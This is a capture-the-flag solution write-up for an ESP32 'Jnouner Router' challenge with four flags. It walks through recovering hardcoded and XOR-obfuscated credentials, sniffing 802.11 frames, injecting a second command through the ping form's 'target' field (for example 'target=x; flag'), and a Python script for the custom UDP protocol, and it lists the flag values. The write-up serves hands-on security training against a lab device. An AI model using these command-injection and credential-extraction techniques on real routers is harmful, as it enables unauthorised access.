# Jnouner Router — Solution
**Category:** ESP | **Type:** Multi-part (4 flags)
| Flag | Name | Points | Flag value |
|------|-----------------|--------|-----------------------------------|
| 1/4 | Console Access | 100 | `ESPILON{Jn0un3d_4dM1N}` |
| 2/4 | 802.11 TX | 200 | `ESPILON{802_11_tx_jnned}` |
| 3/4 | Admin Panel | 300 | `ESPILON{Adm1n_4r3_jn0uned}` |
| 4/4 | JMP Protocol | 400 | `ESPILON{Jn0un3d_UDP_Pr0t0c0l}` |
## Setup
Flash the firmware on an ESP32:
```bash
esptool.py --chip esp32 --port /dev/ttyUSB0 --baud 460800 write_flash -z \
0x1000 bootloader.bin \
0x8000 partition-table.bin \
0x10000 jnouned_router.bin
```
Open the UART console:
```bash
screen /dev/ttyUSB0 115200
```
---
## Flag 1 — Console Access
The UART console shows a `jnoun-console>` prompt. The password is hardcoded in
the firmware as three concatenated parts. Read the ELF strings or reverse
`build_admin_password()` in `admin.c`:
```
p1 = "jnoun-"
p2 = "admin-"
p3 = "2022"
→ password = "jnoun-admin-2022"
```
```text
admin_login jnoun-admin-2022
```
Flag 1 is printed on success.
---
## Flag 2 — 802.11 TX
From the admin console, trigger 802.11 frame emission:
```text
settings ← reveals WiFi SSID/PSK (XOR-obfuscated in firmware)
start_emitting ← starts sending raw 802.11 data frames for 90 seconds
```
WiFi credentials recovered from firmware (`wifi.c`, XOR key `0x37`):
- **SSID**: `Jnoun-3E4C`
- **PSK**: `LAIN_H4v3_Ajnoun`
Put a WiFi card into **monitor mode** and capture the 802.11 frames while the
flooder runs. Among random noise frames, one frame (emitted at a random time
between 5 and 85 seconds) contains flag 2 in its payload:
```bash
airmon-ng start wlan0
tcpdump -i wlan0mon -w capture.pcap
# or
tshark -i wlan0mon -w capture.pcap
```
Filter for non-noise frames (payload not all-random). Flag 2 appears as cleartext
in the 802.11 data frame payload.
---
## Flag 3 — Admin Panel
Connect to the WiFi AP (`Jnoun-3E4C` / `LAIN_H4v3_Ajnoun`). The router runs an
HTTP server at `http://192.168.4.1`.
Login with default credentials: `admin` / `admin`.
The `/admin` page contains a "ping" form that posts to `/api/ping`. The admin
page hints: *"Parser séparateur ';'"* — the internal shell splits on `;`.
Inject via the `target` field:
```text
POST /api/ping
target=192.168.1.1; flag
```
Flag 3 is printed to the UART console (`ESP_LOGE` output).
Or URL-encoded via curl:
```bash
curl -b "auth=1" -X POST http://192.168.4.1/api/ping \
-d "target=x%3B+flag"
```
---
## Flag 4 — JMP Protocol
From the admin panel, trigger the exfiltration session:
```text
target=x; start_session
```
The UART console shows:
```text
JMP Server listening on UDP:6999
PROTOCOL INITIALIZATION LEAK:
Magic: 0x4A4D5021
Auth hash (SHA256): <hash>
Hint: Secret pattern is JNOUNER_SECRET_XXXX
```
The secret is `JNOUNER_SECRET_EXFILTRATION`. Authenticate with its SHA256 hash,
then request data blocks:
```python
import socket, struct, hashlib
HOST = "192.168.4.1"
PORT = 6999
MAGIC = 0x4A4D5021
SECRET = b"JNOUNER_SECRET_EXFILTRATION"
secret_hash = hashlib.sha256(SECRET).digest()
# AUTH_REQUEST: magic(4) + type(1=0x01) + hash(32)
auth_pkt = struct.pack(">IB", MAGIC, 0x01) + secret_hash
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(auth_pkt, (HOST, PORT))
# AUTH_RESPONSE: magic(4) + type(1) + status(1) + token(4)
resp, _ = sock.recvfrom(1024)
magic, ptype, status, token = struct.unpack(">IBBI", resp[:10])
print(f"Token: 0x{token:08x}")
# Request all blocks
flag = b""
for block_id in range(10):
# DATA_REQUEST: magic(4) + type(1=0x10) + token(4) + block_id(1)
req = struct.pack(">IBIB", MAGIC, 0x10, token, block_id)
sock.sendto(req, (HOST, PORT))
resp, _ = sock.recvfrom(1024)
# DATA_RESPONSE: magic(4)+type(1)+block_id(1)+total_blocks(1)+data_len(1)+data(N)+checksum(2)
if len(resp) < 8:
break
_, _, bid, total, dlen = struct.unpack(">IBBBB", resp[:8])
data = resp[8:8+dlen]
flag += data
if bid + 1 >= total:
break
print(flag.decode())
```
